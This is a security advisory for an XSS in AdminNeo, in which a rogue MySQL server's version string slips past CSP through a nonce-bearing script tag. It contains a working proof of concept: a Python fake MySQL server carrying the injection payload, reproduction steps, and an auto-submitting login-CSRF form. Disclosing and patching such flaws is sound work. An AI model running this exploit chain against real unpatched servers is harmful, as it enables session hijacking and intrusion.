CVE-2026-96632 json
AdminNeo Vulnerable to XSS via Rogue MySQL Server Version String (CSP Nonce Bypass)
published 2026-10-30 9 d ago modified 2026-10-30 9 d ago also GHSA-rx7m-wxwq-vxr9
- cvss
- —
- not scored
- cisa kev
- Not listed
- not in CISA's catalog
- epss
- —
- no EPSS score yet
- public exploits
- 0
- none known
Summary
## Summary
AdminNeo inserts the database server's version string into a `<script>` tag that carries a valid CSP nonce, without any sanitization. A rogue database server can return a crafted version string that breaks out of the JavaScript context and executes arbitrary code. Because the script tag already has a valid nonce, the browser's Content Security Policy does not block execution. No authentication is required when combined with Login CSRF.
Originally reported in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-h6jr-7pr6-grgj
## Prerequisites
- Target runs AdminNeo - Attacker controls a reachable MySQL server (a 80-line Python script)
## Root Cause
`admin/core/Admin.php`, lines 1285-1286:
```php echo script("let autocompletion;\nwindow.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('" . Connection::get()->getVersion() . "', '" . Connection::get()->getFlavor() . "', autocompletion); });"); ```
`script()` wraps the output in `<script nonce="VALID_NONCE">`. Return value of `Connection::get()->getVersion()` is not escaped.
## Steps To Reproduce
### 1. Build the environment
**Dockerfile** (AdminNeo):
```dockerfile FROM php:8.3-cli COPY adminneo.php /var/www/adminneo.php WORKDIR /var/www EXPOSE 8081 CMD ["php", "-S", "0.0.0.0:8081"] ```
**rogue_mysql.py** (fake MySQL server that accepts any login):
```python import socket, struct, threading
PAYLOAD = "1');alert(origin)//"
# Capability flags the client expects CAP_PROTOCOL_41 = 0x0200 CAP_SECURE_CONNECTION = 0x8000 CAP_PLUGIN_AUTH = 0x00080000 CAPS_LOW = CAP_PROTOCOL_41 | CAP_SECURE_CONNECTION CAPS_HIGH = (CAP_PLUGIN_AUTH >> 16)
def make_packet(seq, payload): length = struct.pack("<I", len(payload))[:3] return length + bytes([seq]) + payload
def make_greeting(version_str): pkt = b"\x0a" # protocol version 10 pkt += version_str.encode() + b"\x00" # version string pkt += struct.pack("<I", 1) # connection id pkt += b"\x41" * 8 # auth plugin data part 1 pkt += b"\x00" # filler pkt += struct.pack("<H", CAPS_LOW) # capability flags lower pkt += b"\x21" # charset utf8 pkt += struct.pack("<H", 0x0002) # status flags pkt += struct.pack("<H", CAPS_HIGH) # capability flags upper pkt += b"\x15" # auth data length (21) pkt += b"\x00" * 10 # reserved pkt += b"\x41" * 12 + b"\x00" # auth plugin data part 2 pkt += b"mysql_native_password\x00" # auth plugin name return make_packet(0, pkt)
def make_ok(seq): pkt = b"\x00" # OK marker pkt += b"\x00" # affected rows pkt += b"\x00" # last insert id pkt += struct.pack("<H", 0x0002) # status flags pkt += struct.pack("<H", 0) # warnings return make_packet(seq, pkt)
def make_eof(seq): pkt = b"\xfe" pkt += struct.pack("<H", 0) # warnings pkt += struct.pack("<H", 0x0002) # status flags return make_packet(seq, pkt)
def make_err(seq, msg=b"not supported"): pkt = b"\xff" pkt += struct.pack("<H", 1045) pkt += b"#HY000" pkt += msg return make_packet(seq, pkt)
def handle(conn): conn.sendall(make_greeting(PAYLOAD)) try: conn.recv(4096) # client login request except Exception: conn.close() return conn.sendall(make_ok(2)) # accept login
# Answer any queries Adminer sends after login while True: try: data = conn.recv(4096) if not data: break seq = data[3] + 1 # Send ERR for all queries (Adminer still has the version in memory) conn.sendall(make_err(seq)) except Exception: break conn.close()
srv = socket.socket() srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) srv.bind(("0.0.0.0", 3307)) srv.listen(5) print("[*] Rogue MySQL on :3307 - version: " + PAYLOAD) while True: conn, addr = srv.accept() print(f"[+] Connection from {addr}") threading.Thread(target=handle, args=(conn,)).start() ```
```shell # Terminal 1: start Adminer docker build -t adminer-xss . docker run -d -p 8081:8081 --name adminer-xss adminer-xss
# Terminal 2: start rogue MySQL python3 rogue_mysql.py ```
### 2. Trigger the XSS
Open a browser and navigate to `http://localhost:8081/adminneo.php`:
1. Select driver: **MySQL** 2. Server: `HOST_IP:3307` (IP of the machine running rogue_mysql.py) 3. Username: `root` 4. Password: `x` 5. Click Login.
The rogue server accepts the login. AdminNeo renders the dashboard and includes:
```html <script nonce="REAL_NONCE">let autocompletion; window.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('1');alert(origin)//', 'mysql', autocompletion); });</script> ```
The browser executes `alert(origin)` with full CSP bypass because the script tag carries a valid nonce.
### 3. Trigger it via Login CSRF
The login form has no CSRF token. An attacker page auto-submits the login, forcing the victim's browser to connect to the rogue server:
```html <form id="f" method="POST" action="http://TARGET/adminneo.php"> <input name="auth[driver]" value="mysql"> <input name="auth[server]" value="ROGUE_IP:3307"> <input name="auth[username]" value="root"> <input name="auth[password]" value="x"> </form> <script>document.getElementById('f').submit()</script> ```
## Collaborator Request
This vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @Voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!
Patch / fix
- packagist adminneo-org/adminneo 5.5.1
Affected packages
| ecosystem | package | affected | fixed in |
|---|---|---|---|
| packagist | adminneo-org/adminneo | <5.5.1 |
5.5.1 |
Classification
- Weakness
-
- CWE-79 Improper Neutralization of Input During Web Page Generation
References
-
github.com
/adminneo-org/adminneo/commit/2c86406808bc2517efb35f5595b3a05761c2eacd
web
-
github.com
/adminneo-org/adminneo/security/advisories/GHSA-rx7m-wxwq-vxr9
web
-
github.com
/vrana/adminer/security/advisories/GHSA-h6jr-7pr6-grgj
web
-
github.com
/adminneo-org/adminneo
package
-
github.com
/adminneo-org/adminneo/releases/tag/v5.5.1
web
Sources
- GitHub Advisory GHSA-rx7m-wxwq-vxr9
Fencer Vulns keeps one entry per vulnerability: the CVE id wins, then GHSA, and records that alias each other are merged, except that two CVEs always keep separate entries. The same data is available as JSON.